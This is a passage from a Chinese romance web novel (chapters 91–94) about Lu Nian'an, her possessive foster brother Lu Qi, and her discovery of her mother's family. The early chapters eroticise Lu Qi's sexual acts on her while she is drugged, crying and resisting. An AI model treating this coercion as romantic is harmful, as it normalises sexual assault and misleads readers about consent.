,观察她的神情,一点一点记下来她的喜好。想起及笄那年口口声声说喜欢的姑娘,她分明还小,连依赖和喜欢也分不清,他却是长兄,长兄是责任,也成了枷锁,好像将他困住了。 “这半月总因为你有没有好好用膳而失眠,”陆祈松开了些她,轻笑着问她:“在方家好玩吗?” 陆念安还将小脸埋在他怀中哭着,情绪缓和下来后,她下意识点头,显然对陆祈更依赖了。 松松垮垮的薄毯却这时滑落至地,她变得不着寸缕,陆祈仍未松开她。 后知后觉意识到什么,陆念安眨眨眼,心中渐渐弥漫起另一种恐惧。 抚在后脑的大掌越发轻柔了:“你说说怎么才好?” 他语调同样柔和,总让人忽略话中危险的意味:“阿念,你让我很生气。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-95 第91章 第九十一章 一片深黑里,一切都是未知的。夜风透过半支起的窗钻进屋内,陆念安全身泛凉,害怕过后,后知后觉而来的是羞耻。 她很快便不太自然地动了动,无地自容道:“我都长大了,不用你担心了。” 她嗓音很闷,选择性忽略他口中的生气二字。 话音刚落,陆祈抚在她发顶的大手缓缓往下,划过脊背,轻触上小姑娘柔软的细腰揽住:“是吗?” 好痒。 陆念安瑟缩起来,脸颊染上几分薄红,耳根也变得红红的,这抹樱色一直蔓延到脖颈。 好在屋内没有点灯,更庆幸今夜也无月。 陆念安便放肆挣扎起来,费了好一番力气,她终于挣脱开一些,只是很快,陆祈毫不费力地搂住她的腰,一手将她平放在塌上。 黑暗对他来说并不似阻碍,他附身凑近,看见她唇齿微张的模样,整个人都软塌塌的,什么还未做就已经累得直喘气。 “累了?”陆祈静静凝视着她,好一会儿后叹道:“好娇气的阿念。” 听见这话,陆念安别过脸就想将自己藏起来,却被大掌锢住下巴抬起,她太纤柔了,吸入了软骨散后更是无力,湿濡的眼睫颤抖着,像花枝上最娇嫩的花骨朵,越纯善可欺,越诱人将她折下。 陆祈眼眸微眯,用指腹有一搭没一搭地磨着她脸颊,长指探进她微张的唇中,轻微搅动起来。 他指骨粗硬,不过片刻,陆念安神色迷乱起来,她有心想反抗,粗硬长指却退了出来,不断蹭着她殷红唇瓣摩挲。 陆念安被搅得无法吞咽,银丝顺着唇角往下流,被他用指腹蹭开,她紧紧蹙起眉,难受地轻哼一声:“唔……” 他淡淡收回手,银丝顺着骨节往下流,冷道:“该长些教训。” 直到这个时候,陆念安才浑浑噩噩意识到那句生气真正的含义,只是为时已晚,仅剩的力气被大手压下,她呼出口气,刚要抱怨,却被长指磨过更娇嫩的地方,彻底软了下来,堪堪倒进陆祈怀中。 陆祈不疾不徐地将她揽过,薄唇贴着她耳根感叹:“阿念怎么这么软?” 男声很轻,温热的呼吸声融进脖颈,有些痒。 而他怀里很热,带着侵略地将她紧紧裹住,陆念安便感觉自己快要融化了,又热又奇怪,却动弹不得,她无助地哭了出来,抽抽搭搭可怜极了。 眼泪却也是无用的,她刚憋红了脸往后躲,后腰却被他的长臂抵住,用力到陆念安甚至能感受到覆在上面的,脉络分明的青筋,她腰上红了一块,被抵得很不舒服。 “眼泪好多,”陆祁吻掉她湿濡的眼泪,折磨似得问她:“阿念是水做得吗?” 密密麻麻的吻很快又落在眼眸,鼻尖,甚至是脖颈,脊背,陆念安从没觉得哥哥这样粘人,乱得说不出话来,她怒瞪了一眼,想找个坑将自己埋起来,羞耻道:“不许亲……” “你总是很不听话,”陆祁缓缓扶住她的腰,回忆:“我只是还回来一些,阿念不会生气吧?” 陆念安被气得抽抽噎噎,勉强道:“少冤枉我!” “冤枉吗?”指骨环绕住她的素指,他握得很紧,十指相扣:“小时候你喜欢在冬日里玩完雪,冻得小脸蛋通红,在往我怀中钻说要一起睡,这也就罢了,偏生连睡觉也不安分,钻来钻去,一点也不安生。” 汗珠滑过高挺的鼻梁,藏匿在夜色中本清明的眼眸,渐渐覆上一层欲色,陆祁的声音微哑:“巴掌大点,成天吵着闹着要哥哥抱,明明那么小一只,却不知哪来的力气,抱得我喘不过气……” “想起来了吗?”贴着她的脊背将她往上抬,他轻笑了声:“就像现在一样。” 像长指探进唇中那样搅动起来,被撞开的花苞湿漉漉黏糊糊,陆念安当即往下陷,被一手扶住腰抬起来,男声微哑,故意提醒她:“不是已经长大了,怎么还这么娇气?” 在不断被挤压的空间里,思绪乱成一团,陆念安想起临走的前一日,兄长忽得提醒她要听话一些,是那个就知道了吗?他是故意玩弄她?为什么?唇齿间溢出一声呜咽:“哥哥是故意的?” “动什么,含住了?”他语调忽得冷下来,拍了拍她的臀提醒她:“都要是方家的人了,还唤我哥哥?” 这又是什么意思? 却没了问出这话的机会,陆念安眼尾娇媚,低哼几声,连哭声都是断断续续。 不知过了多久,哭声开始变得微弱,陆念安昏睡了过去,便开始在梦里哭。 她一混乱就开始做梦,梦里哥哥特意跑来浅西欺负她,他变得很坏很坏,非说她饿了,喂她很难吃很难吃的点心,明明已经吃得够多了,还非让她继续吃,又说她娇气,要帮她解渴,可明明是夏天,为什么要喂她喝热牛乳呢?她要喝冰的甜滋滋的糖水、荔枝水、木瓜冰酥,紫苏饮子,最后却被热牛乳灌得涨涨的……啊呜呜呜她觉得自己要涨死了,哇哇大哭连做梦都一直流眼泪。 * 陆念安一夜未归家。 活生生的小姑娘像是凭空消失了一般,方家已经乱成了锅粥,急得团团转,孟兰因更是一夜未眠,着急忙慌地到处打听找人。 远在郊外的客栈内,静到只有风声穿过长廊,很快到了响午。 日光变得炽热,空气里干燥极了。 紧合上门的屋内,两个人相拥而靠。 躺在塌上纤柔的女子被一双大手紧紧缠绕住腰,两个人身形悬殊,她几乎被藏进男人怀中,只露出一截白嫩细腻的腕,被光线虚化近乎透明。 陆念安被热醒了,动了动,她想起那个梦,忍不住又哭起来,抽噎到快要不能呼吸。 陆祁被这哭声扰醒,大掌轻轻拍了拍她的后背,将她抱得更紧了:“阿念还没哭够?” “……” 思绪渐明了,泪眼模糊中,陆念安气得张开唇狠咬上他肩膀,幼齿刺破血肉,她真的气极了,仅剩地力气全拿来咬他。 陆祁眼也未眨一下,片刻后,拉开怀中这颗毛茸茸的脑袋,他揽着她起身,用手锢住她的下颚迫使她张开唇。 粉唇被染上血迹,陆祁细致检查她的牙齿,陆念安呜咽了两声,不知想到什么,拍开他的手忙合上唇,吓得一句话也不敢说,只默默擦眼泪。 陆念安一直在哭,一眸早肿成了核桃,红红的,她声音也沙哑的不成样子,双臂环绕着将自己缩起来,轻道:“我要换衣。” 暖阳透过花窗,屋内充斥着明亮,光下她白得发光,因此,脖颈和背上的斑驳红痕显得突兀极了。 陆祁随意披上了外衫,替她取干净的衣裙回来。 “你出去不要你,”她哑着声音,可怜兮兮道:“我要自己换。” 陆祁微顿,但还是走进,一边缓缓将她抱进怀中,哄她:“没有别人,阿念累了,我替阿念换。” 陆念安本是想摇头的,但她实在没力气了,整个人软塌塌摊成一团水,任由那双大手在她身侧滑动。 陆祁带着生疏地替她换好薄裙,抹去她唇上的血迹后,轻触上她眼眸,淡声道:“肿了。” 她不说话,只又瞪了他一眼。 “都多大了还这么爱哭,哪里来得这么多水?”陆祁虽无奈,却找来药膏替她上药。 他仍将她抱在怀中,不加掩饰自己的占有欲。陆念安没什么力气同他计较,闷闷不乐仰起头,脖颈绷得很紧,她动了动手指使:“这里也要抹。” 陆祁却已经将药膏放下,很平静地从后方将她环住,语气冷静如常:“又没受伤,抹什么?” 于是那些斑驳红痕被尽数留下,从脖颈一直延伸到后腰,陆祁轻抚上去,又吻了吻,问她:“既是这般喜欢浅西,还想留多久才回家?” 陆念安便又想哭了。 她本来就是没有家的,不过只是借住于陆府,她还能回去吗? 想到这里,她不想说话,整个人反常的平静,焉焉垂下头。 “……” 陆祁抚了抚她的发顶:“先用些点心吧。” 客栈里设了小厨房,午膳是厨房方才做好的,一碟子点心,一壶冰镇牛乳茶。 饭桌上更是沉默,见她更加闷闷不乐,陆祁只得出声打破平静:“不喜?” 陆念安还是不说话,抬手拿起一块山楂糕,轻咬了口,觉得十足甜腻,蹙起眉,她将山楂糕放下,却见陆祁面不改色地吃了一整块。 难吃死了腻死他,她现在一点也不想呆在这儿。 “我要先回方家。” * 日落后,天空变得灰蒙蒙,方府的门前守着几个丫鬟,忽然出现的马车使得几个丫鬟都有些疑惑。 陆念安小心翼翼下了马车,就看见几个丫鬟一齐跑进屋内将孟兰因唤了出来。 连轴转了一日,刚将布庄的事情处理好却发觉孩子不见了,现下好不容易见到这孩子,孟兰因实在有些内疚,上前将陆念安一把抱住,热泪盈眶道:“怎么回事,同孟姨说说去哪儿了?” 话落,孟兰因将人松开就要好好检查一番,手才落在她肩侧,陆念安却不太自然地往后退了一步,哑声道:“是哥哥来浅西了。” 听见这话,孟兰因顿时有些惋惜,遗憾收回手,她略显忙碌地拍了拍裙摆,不知所措地呢喃:“不是要呆两个月,这才多久,满打满算也才一月未有,怎么忽得却要走,太突然……” “没有走,我不同哥哥走得。”陆念安捏着指尖,缓缓皱起脸来:“我还要呆满两月才好。” “呆多久都行,”孟兰因呼出口气,这才笑了,担忧开口:“怎么嗓子还哑了,可是昨夜未睡好着凉了?” 孟兰因没细问什么,将她带回院子,又命丫鬟去熬了碗药,看着她饮下后才放心离开。 陆念安饮了药后又用了晚膳,一切好像都回到正轨,变得同以往没有区别。 直到夜里,秋菊替她换衣,手中的寝衣摔落之地,秋菊叫了声:“小姐!?” 这日以后,陆念安果真着凉了。 她身子弱,或冷或热都有些不适,此番病了,一连在屋中就躺了两日。 到了第三日,陆念安暂居的春华院内迎来几位熟人。 是方许带着弟弟妹妹过来看她,听闻她喜花,几人来以前先去了趟早市,替她挑选了整条街最为新鲜的栀子。 白色花瓣上坠着露珠儿,花苞舒展开,往外散着甜香。 方意将花递给秋菊,缓步走至榻边坐下,她试着用手背去探陆念安的额头,“嘶”了一声,悬乎道:“替妹妹算了算,今天过去就能好了。” “你个半吊子能看出什么?”方艾不客气地将她拉走:“念安妹妹,你没事吧。” 陆念安方才睡醒,眼眸清澈,她眨眨眼,看向屋内多出的几人:“哥哥姐姐们怎得来了?” 方许开口解释:“母亲说你病了,我们都很担心你。” 几人已过早市,替她带了街头那家早点铺的玫瑰豆沙卷,陆念安不想辜负了大家的好意,缓缓支起身子,咬了一大口糖花卷。 她腮帮子鼓起来,费力地嚼嚼嚼。 “我买了桂花糕,念安你也试试如何?”方意忙邀宠。 陆念安便又咬了一口桂花糕,继续嚼嚼嚼。 见状,方艾有些生气:“不是说念安妹妹喜欢玫瑰豆沙卷,子意你怎么还偷偷使心机?” “怪我使心机,分明是你口口声声说要对念安妹妹好,结果却什么也未做,还不如二哥,就你这样的,就是癞蛤蟆想吃天鹅肉,我这就让母亲不帮你说亲了……” 一句话未完,方艾抬手敲了敲她的额头。 方子意知道自己说漏嘴,忽得捂起嘴来去看陆念安。 大病初愈,她面色苍白,一手拿着玫瑰豆沙卷,一手拿了块桂花糕,神色尤为迷茫地看向几人。 陆念安听不懂他们在说些什么。 浅西这边的人普遍是急性子,争论或是吵起架来都善用家乡话。 意识到这一点以后,方艾松口气,朝她笑:“念安妹妹放心,你得病很快就能好全了。” “这几日唐街里新开了家医馆,听闻那大夫是从上京而来,一身医术出神入化……” 方子意又不乐意了:“分明是我们一起去得医馆,你怎么总是只将功劳揽到自己头上?” 一句话点燃气氛,两个人又吵了起来。 方许只得将两人赶出去,让他们吵完了再进屋。随即有些抱歉地看向陆念安,解释:“打扰表妹妹了 ,子艾子意就不能呆在一起,从小吵到大,就没人不烦他们的。” 陆念安到没觉得烦,反而有些羡慕。 这样的吵闹在陆府很少见。 小时候就算同表姐姐们聚在一起,可只要有长兄在,大家都乖得连话也不敢说,更别说吵闹了。 更何况那时她还不喜同旁人玩乐,去哪儿都要黏着哥哥才好。 经年累月后的现在回忆起来,陆念安有些懊恼,忽得闷闷道:“我只有一个哥哥。” “什么?”方许有些没听懂,疑惑。 她解释:“小时候没听见过别人吵架,耳边很清净。” 听见这话,方许忽然有些羡慕她。 方家姊妹们可太多了,发生争吵是常有的事情,忍了这些年,他都烦透了。 互相羡慕了片刻,方许后觉出她的落寞。 这几日都听闻陆家兄长来了浅西,方许还以为他会来方府看看,可表妹妹都病了两日了,他竟一次也没来。 借住的日子一定很不好过,方许有些遗憾,出声安慰她:“表妹妹,以后我也是你的哥哥,只要你在浅西,我也会好好照看你的。” 晨里雾气中,两个说话时,窗被推开,窗外一片湿濡,秋菊站在长桌前,看着大雾,将修剪好的栀子花插进花瓶中。 身后忽得传来一阵咳嗽,陆念安用手帕捂住唇,艰难说了声“好”。 方许忙慌倒了杯温水给她润嗓子,见她咳嗽不停有些着急。 好在那大夫终于赶来,听着这咳嗽声,方艾将大夫领进屋,夸张催促:“沈大夫你快看看,我家妹妹的咳嗽可就全指望您了。” 第92章 第九十二章 屋内敞亮,着素衫的男子绕过点翠八宝屏,身影渐渐变得清晰。 陆念安抬起眸,眼中闪过一瞬迷茫,直到方艾一连唤了几声念安妹妹,她才回过神来,将掉落在薄被上的桂花糕拾起。 方许便上前替她将桂花糕接过,又递给她一块软帕擦手,解释:“表妹妹,这位是请来大夫,让他再替你看看如何?” 陆念安垂下眸子,默不作声将左手探出来,神色却有些不自然了。 方家的几人一心看着大夫,并未注意到她的沉默,等沈大夫放好药箱后,几人又一齐盯着他把脉。 沉默间,屋内气氛有些凝重,方艾忍不住开口:“大夫,你怎么不说话?” 听见这话,陆念安眼睫颤了颤,她轻轻抬起眸来,没想到那大夫也正看着她。 “无事,只受了些凉,”沈淮安笑了笑,语调同往常一样清润:“我开个方子,过两日便能好全了。” 方家几人忙谢过他,言辞诚恳。 只陆念安乱乱的不知道能说些什么,好半响后,她张了张唇欲开口,那大夫却已经收起药箱,要走了。 点翠屏风后映照出一个模糊的影,沈淮安将药方子留下,而后尤为缓慢的合上药箱,最后还是什么也没说,方家几人便一齐送他离开。 秋菊顿了顿,走去将留在桌案上的药方子拿起。 薄纸很轻,她摊开,听见“吧嗒”一声,像是有什么东西掉落了。 “小姐……”欲言又止了瞬,秋菊没太在意的将东西一起递给陆念安,纠结道:“方才那是周公子?” * 方家人多,宅院早些年修建的了,弯弯绕绕,并不好走。 还要去医馆拿药,出了小院,方许陪沈淮安一起往外走,随口寒暄了句:“沈大夫,过两日真能好全了?” “方公子不用担忧,静养两日便好,”沈淮安浅笑着:“医馆不会闭门,若还有别得问题,我随时都在。” 听见这话,方许生出几分好感,感谢道:“麻烦沈大夫了。” 须臾,到了陆府的门前,两辆马车停靠在长街一侧,方许看了一眼,正要收回目光,靠后那辆马车的车帘忽得被掀开。 着白衫的男人下了马车,身后是空荡长街,他身形修长高大,不疾不徐地抬眸朝前看,周身所散发出的平静和淡然,非普通人能极。 偶尔听母亲提及过,说是最近浅西来了几位大人,方许知其中关系厉害,规矩地收回目光。 直到那人影朝方府靠近,方许有些乱了,以为是家中的布庄出了事,扭头就想回屋唤孟兰因。 “打扰了,我是念安的哥哥。” 男声平和,静静同他说道,方许愣愣看向眼前的人,后知后觉点头,局促道:“哦哦哦,我听表妹妹提过……你是要去看她吗?” “嗯,”陆祁应了声,侧眸看向方许身旁的人:“这位是?” 方许不由得挺直了背,热情道:“这位是我们替表妹妹请得大夫,念安哥哥你不用担心,他已经替表妹妹看过了,说过两日就能好。” “这样,”陆祁看着沈淮安:“那还要多谢沈大夫,特意将医馆开来了浅西。” 沈淮安身后的空地,栽种了许多夏草,他侧身避开,欣然答道:“浅西是个好地方。” 方许觉得忽然有些奇怪,但又说不上那里怪了。 还要去医馆取药,他没有细想,看向陆祁,再次规规矩矩道:“那念安哥哥,我唤人带您去小院找表妹妹,我去医馆捡完药便回来。” 话落,方许忽觉自己有些紧绷,分明对面人一句也没问,他却规矩地将来来回回主动交代了一遍。 忽然有些理解表妹妹说家中太安静 ,方许觉得自己就像在逃离长辈一样上了马车。 * 午后小院闷热,用过早膳后,陆念安盖着薄被又上塌睡了觉。 她生病了一直这般,没什么力气,恨不得一直黏在塌上才好。 秋菊已经习惯,将屋内整理干净,她端着托盘去堂屋换水,刚推开门,瞧见长廊下那道身影,整个人都懵了,愣愣道:“大公子。” 陆祁绕过屏风,进了里屋。 窗外日光正烈,陆念安焉焉躺在塌上,她习惯侧身蜷缩起来,显得有些可怜。 陆祁走进,将她微陷进薄被里的脸抬起来一些,没收回手,又抚了抚她的脸侧,触到一片凉意。 病了,瘦了,脸色也是苍白的。 他没唤醒她,想起前几日,小姑娘委屈地说要回方府。 那时她的神色那样委屈,湿濡的眼睫不在根根分明,眼尾泛着红意,好像听见一个不字,就该又哭了才对。 她的阿念,现如今这么讨厌他啊。 陆祁面无表情地将薄被扯开,拉过她蜷缩在一侧的腕,握住收紧,很快用指腹不断摩挲起来。 她生得娇小,手腕也是细细的一节,落在在他宽大的掌中,实在有些不够看。 陆念安睡得浅,很快被折腾醒了,动了动手,却没挣脱开,有些迷茫地睁开眼,看清眼前的人以后,她下意识往后缩。 这反应有些刺目,陆祁面无表情地将人扯过,揽着她脊背抱进怀中,缓缓用手臂禁锢住。 她太软了,依偎在他怀里,寝衣散开,变得凌乱,鼓起的软胸被男人劲实有力的手臂压下,溢出来一样往外陷。 陆祁垂头吻她的脸:“他替你把脉时,不是也碰过了,怎么我碰一碰,阿念就要哭了?” 他语调带着冷意,陆念安想了好一会儿,才忆起是方才诊脉的事,一时气极,反驳:“这怎么能一样?” “怎么不一样,” 薄唇几乎贴着她的脸颊,陆祁语调变得很轻:“这么讨厌我?” “他……”陆念安一哽,闷闷道:“他力气很轻,你,你都把我捏醒了,我手腕都红了。” “阿念喜欢轻一些的?” “我和你说不明白。”本就昏昏沉沉,陆念安眼尾焉焉垂下,没什么精神地念了句,便轻轻挣脱欲走。 身下的白衫很快被蹭得凌乱,微微鼓起来,抵着她腿心,陆祁缓慢扶正她的肩,将她抱得更紧了。 陆念安僵了僵,可能是生病了,她变得比从前更容易委屈,忽然抽抽噎噎哭起来。 眼泪滑过苍白的面庞,陆祁搂着她,心疼地吻了上去,生疏哄着:“好,别哭了。” 他的吻密密麻麻落在眼眸,对她来说,有些粗硬的指尖重新握住手腕,很轻得抚了抚。 陆念安还是觉得委屈,眼泪啪嗒啪嗒,她吸吸鼻子垂眸,就看见脖颈上的红痕,更委屈更烦了。 陆祁拎起她将她调转了个方向,陆念安蹙起眉,小脸被迫压在他胸膛的位置。 大掌抚过她的后脑,陆祁继续哄她:“别哭了,不是都依你了,人也放了,方家人不是也没为难,嗯,为什么怕我?” 他的怀抱太热,面对面相对,这是更严丝合缝,完全没有阻碍的距离。冷香气正将她完全裹住,一切都是密不透风的。 陆念安觉得自己好像变成哥哥的私有物,她腿心一定被他磨红了,不适应地又动了动。 “我……”陆念安想质问他难道不清楚吗,最后还是没有问出口,轻道:“我知道,谢谢你。” “是谢我还是气我,”陆祁指尖微顿,长指插进她的发中摩挲,平声道:“真想谢我,怎么还呆在方家不肯走。” 陆念安逃避地闭上眼,头脑昏沉又困倦,他却不放开她,她只能依偎在他怀中睡去。 陆祁还在玩弄着她的头发,不知想到什么,他语调疏冷至极,提醒她:“不许去医馆,知道吗?” 陆念安在临睡的边缘,听见这话,一时有些心惊,只能强迫自己睡过去,晕晕乎乎的。 没等到回应,陆祁并未生气,扯松她的寝衣,他长指带着怜爱地抚过那些吻痕。 陆念安皮肤薄,常年未见光,白得娇嫩,裸出得半个浑圆上,连指痕都还未消散。 从小到大磕着碰着以后,那些伤痕若是不用药,一年半载也不会消。 陆祁却觉得她背上的痕迹淡了许多,怕她醒来又哭,他吻得很轻,从眉眼到唇瓣到脖颈,一点一点地吮过去,连手腕也没放过。 日光乍泄,秋菊在廊下站了一会儿,偶尔瞥见早上支起的窗户未关,四下盼望了瞬,她轻手轻脚地上前合上窗户,只余光往里看了一眼,当即就吓得忙低下头。 一个绝对占有的拥抱,怀中的小姑娘依偎着他胸膛睡去,陆祁一手握着她的腰,头颅垂下,近乎病态地吻着她,脊背上,泄露出的一抹雪白已经布满痕迹。 他却仍觉得有哪里不够,握住她的腕继续吻着,像是提醒她亦或是提醒自己,不断呢喃:“阿念,别怕我……” “别怕我。” 第93章 第九十三章 陆念安醒来时,揉着眼抬眸往前看,榻边平整,凌乱的褶皱荡然无存。 这一觉睡得意外安稳,在不断收紧的拥抱中,她潜意识感受到安心,对哥哥依赖有时还同小时候一样。 有些烦闷地揉了揉发,刚为自己这点隐秘的习惯感到些不适,一侧的门忽得被人推开,陆念安吓到一颤。 “小姐,是我。”秋菊轻将门轻合上,端着药碗走进,担忧看向她。 药已经温了一阵,陆念安接过,忽觉这药同往日有些不同,闻起来甚有些许甜意。 秋菊解释:“是方二公子从医馆取来的,小姐要先用两日看看。” “好。”陆念安已经习惯,打了个哈欠,顺从地将小脸埋进瓷碗里慢悠悠喝起来,只余下一双圆溜溜的眸盯着人。 这药确是甜的,连蜜饯也未用,陆念安很快将空碗放下,秋菊看了看,有些满意地收回目光,便又从荷包里取出个小物件,问她:“小姐,你说这东西可是要收到哪儿,莫不是沈……沈大夫遗落下了?” 木牌本是夹在那方薄纸里的,她刚打开便掉落了下来。极精巧一块,看不出什么材质,但木头很细腻,通体莹润,这样的莹润,是要人常常把玩才会留下的痕迹。 陆念安看了看,却也没看出个所以然来,猜测:“我好像见沈大夫佩过,或许是很重要的东西,秋菊快让人送回医馆吧?” “小姐说得是,等明日……” 黄昏晕开,散落的余晖沐着屋内,像是木牌隐隐散出了佛光,不知想到什么,在秋菊收回手之际,陆念安却抬手拾起那木牌,低垂下了眸子。 “我去吧。” 她应是有些话还没同沈淮安说得。 * 病中多眠,方府特意派了个煎药丫头来,每日煎好药送去小院,再准时准点地叫醒陆念安。 一连被灌了两日药,陆念安再醒来时,整个人的气色都好了许多。 秋菊便将门窗都敞开散散病气,夏日里炽热,没一会儿就将室内烘得干燥,陆念安惧热又惧冷,很快便受不了了,哼着要用冰。 “小姐,你这才刚养好呢,”秋菊板着脸拒绝,只扭头将窗户合上,偶然瞧见小院里多出的一道人影,她面色一改:“方二公子怎么来了?” “我来看看那大夫诊得准不准。” 方许特意记着这事儿,两日一过,便早早跑来小院。 银绣云纹步履踏过木门槛,他负手而立,认真瞧了眼正看话本的陆念安,才满意点头:“那大夫的确未骗我,还真是说两日就两日。” 陆念安没想到他将此事记得这般重要,一时有些恍惚。 这反应落在方许眼中,顿了顿,他担忧开口:“表妹妹怎么不说话?” “我……”陆念安指尖微动,只是想到了从前。 因为往前很长一段时间里,只有哥哥会将她看得这般重要,或者说无微不至。 所以她好像,才没办法真的去讨厌他。 就算他变得和从前不一样。 晃了晃神,陆念安想到前几日吸入迷香时的惶恐,她分明是害怕和抗拒到极点的,却还是笨拙地会去依赖他。 以至于她甚至懒得细想——为什么哥哥会突然来,又对客栈如此熟悉。 她没有多生气。 就好像……因为他是哥哥,他做什么都可以。 越理越乱,陆念安有些怀疑自己,她是不是深陷其中,开始变得不太正常了。 思及,她看向方许,忽然有些可怜有些恳求地感叹道:“如果你真的是我的哥哥就好了。” 话音落下,陆念安才意识到自己说了些什么,有些懊恼地低下头。她可能是生病将脑袋都病坏了,忙解释:“我也不是这个意思,我……” 方许看向她的目光变得忧心。 她能说出这番话,好像并不让人意外。 借住于陆府,上头又有看着如此严厉的长兄,她身边甚至连争吵的人也没有,想必在陆府的日子一定是小心翼翼, 相比起来,他们方家虽是吵闹了些,但至少自由自在,从不会有人管教。 “我都懂,”方许当即打断她,宽慰:“上回在船上时还说好了要送你礼物,表妹妹,你跟我来,你一定会喜欢这礼物了。” 陆念安有些为难,又觉得自己实在太容易乱想,便干脆跟着方许往外走。 * 整座方府有些弯绕,院落太多,路并不好走。 须臾,在方许一声又一声的“快到了”中,终于走到他口中的库房。 从外看只是寻常院落,院右侧有一片竹林,风顺着拂过,竹叶发出窸窣声响,陆念安瞧着,觉得此处有些眼熟。 没等她想起来,方许主动介绍:“这是我娘最宝贵的库房了,也不知她带你来过了没有。” 进了院子,一左一右共四间房,门窗都紧紧闭着,是很静谧的地方。 陆念安终于想起来,来方家的第一日,孟姨就带她来过此处选料子制衣。 现下几扇门都锁着,方许走到最靠右的那扇门前,翻翻找找从袖中摸出来钥匙。 细微的“吱呀——”一声,雕花长木门被拉开,方许先进了屋内,察觉到身后似是没有动静,回过头朝陆念安招手:“表妹妹,进屋吧。” 陆念安仍站在廊下,愣了愣,才有些迟疑地抬步往前,进屋后,最先嗅到一股淡香。 常年焚着香的里屋,连高柜被染上一股独特的味道,这味道经久不散,淡得让人心生好感。 这间屋子也有些不同,说是库房,却是极简单的。 只靠墙立着张小榻,一侧摆着两个高柜,除此以外,便没什么旁得了,说不上来的空荡。 正无措时,方许取下高柜上的匣子,一边打开一边递给她,热情道:“表妹妹你看看可有什么喜欢的?” 若说起这些物件,陆念安向来是什么也不缺。 北院里光是古琴便放满了整间屋子,精巧的头面之类便更是多了,长大以后,她虽是喜欢,却很少生出想要的心情。 陆念安垂眸后,下意识抚了抚腕上的白玉镯子。 匣中是一整套白玉首饰,细腻温柔,从玉簪到耳坠到佩饰,像是取自同一块玉石,美得很是和谐。 陆念安不知自己竟何时喜欢上了白玉,目光呆愣,一时间没说话。 方许瞧了,只以为她是没看上,便将这匣子随手放下,又去取高柜上的另一个匣子。 陆念安的目光却随着那匣子挪动,匣中细腻温润的玉石给她一股很微妙的熟悉感,她静静看了一会儿,抬手触上去。 也是这时,方许踮脚取高柜最上方的那个小木匣子。 说起来他也没打开个这个匣子,一时有些好奇,便没注意木匣一侧还放着轴画卷,抽出木匣的一瞬,那画卷顺势掉了下来。 “啪嗒”一声,陆念安被这声音吸引了目光,倏得收回手,转过头—— 最边侧的暗扣摔碎,画卷顺势往下滑,散了一地,正被暖光静静笼罩着。 这显然是一卷尘封了许久的画,在经历过岁月的洗礼后,墨色渐褪,已经有些晕散和模糊。 寥寥几笔,白衣少女的形象变得鲜活,细眉杏眸,神色带着同她年纪不相符的愁意。 回忆里已经模糊的身影在这一刻变得清晰,陆念安身形微颤,手心抵着桌案才勉强站立,她指了指那副画,轻声问道:“她叫什么名字?” 方许有些手足无措地上前将那画收起,回眸就见陆念安要哭不哭地看着自己,他有些于心不忍,又想起母亲的告诫,纠结了好一会儿,最后还是张唇说了出来。 陆念安却发现自己已经听不清任何声音了。 她好像从来都是一个喜欢逃避的人,于是不喜欢的回忆便忘却吧,这样就能装作什么也没发生过,即使什么都忘了也没关系。 长大以后,她开始很少忆起小时候的事,无非是被丢来丢去,不过也没关系,至少她后来是幸运的。 她也长大了。 不再同从前一样脆弱,开始能得心应手地处理许多事情,缓了缓后,陆念安揉了揉眼,重新道:“表哥哥,你再同我说一遍吧,我会记下的。” 这一次,方许却没有说话,他沉默太久,陆念安逐渐意识到不对,随着他的目光看去。 转过头,木门敞开,迎面立着两道影,孟兰因目光担忧,身旁的黑衣男人却神色晦暗,正沉沉看着她。 被那样沉静的目光看着,陆念安忽然感受到一股无力,她觉得自己从没来过浅西,好像她不论做什么,都被瞧得一清二楚。 陆念安本就处于迷茫,混乱地思绪快要炸开,她指尖微颤,头一次真真切切感受到什么是厌恶,无力道:“又让人跟着我吗?” 第94章 第九十四章 一同进屋的不只有陆祁。 雕花木门旁,孟兰因听着陆念安明显颤抖的嗓音,一时也顾不上旁得,匆忙上前就将人抱进怀中。 到了这般时刻,自是什么都瞒不住的,孟兰因忍住眼泪,缓声解释事情的原委,轻道:“念安,孟姨没有旁得意思,是顾虑你这孩子会困扰,才想着先瞒你。” 这故事本太过漫长,说出来却也就只剩下三两句话,孟兰因叹声气,有些无奈时间的流逝:“你生母唤孟简,本是我的胞姐。” 说起当年,孟家是靠海发家的,孟父是勤快年轻的小伙子,日日都会打捞些鱼虾海带拿去周边贩卖,久而久之,也成了当地有名的行商,换了座大宅子,又有了两个可爱的女儿。 只是好景不长,没几年,藩人却起兵叫嚣一统天下。战争来临,最先受波及的便是他们这些地处边缘的小村落。 孟家没撑到一年便散了,一家人虽是都活着,却被迫散开,得不到亲人的消息。 “你同你母亲长得相似,”陷入已经久远的回忆,孟兰因轻轻描绘着陆念安的眉眼,温柔道:“我还记得我第一次见你这孩子,就有些愣住了。” 那一日在回方府的路上,孟兰因满心欢喜,只是很快却从柳乐敏的口中得知,原来那孩子是父母双亡,只是借住于陆家的一个孤女。 寻了二十余年,终还是最坏的结果。 好在还有这残存的缘分,令她在二十余年后,还有机会见到这张同姐姐相似的脸。 孟兰因已经知足,她看出陆家待陆念安不错,便不想让这孩子也经受期盼空落落。她想,或许那些往事就此忘记,也会是一个好的结果。 却是没有瞒住。 这一刻,孟兰因的心中喜大于忧,轻拍了拍陆念安的头,她宽慰:“念安,说了这般多,你只要明白我没有不想认你就好,你唤我一声孟姨,我的确也担待得起,以后我这儿便也会是你的家。” 脸颊正被温柔地抚摸,陆念安忽然生出一种强烈的不真实感。 直到这一刻,陆念安总算明白对孟兰因的亲切来自哪了,记忆里,母亲同她说话时,似也是这个语调,温温柔柔的,她一直很喜欢。 所以那副画像展开时,她潜意识是害怕的。 比起那些过去的往事,她更害怕不被亲人承认,更害怕被抛弃被排外,所以才会变得慌乱。 好在一切没有。 那点微弱的委屈忽然荡然无存,指尖微颤,须臾 ,陆念安试探着抬起手来,极为缓慢地回抱住孟兰因。 太过突然,没什么真实感。 但她能确认到眼前多出的亲人是真实存在的。 孟兰因也觉得心里踏实了,多安慰了几声,悠悠侧眸看向方许。 方许捧着匣子站在原地,因为这间库房的钥匙是他今早偷出来的,此刻坏了事他显得有些怂。 缓了缓,方许上前几步,努力粉饰太平:“娘,你看,我就说不能瞒着表妹妹吧,再说这库房里的东西本就该给表妹妹。” 方许将手中的钥匙交给陆念安,如释负重般松口气:“还有就是……” “表妹妹上午同我说想让我的妹妹,现在应就算是了?” 听着这话,陆念安眼眸顿时有些湿润。 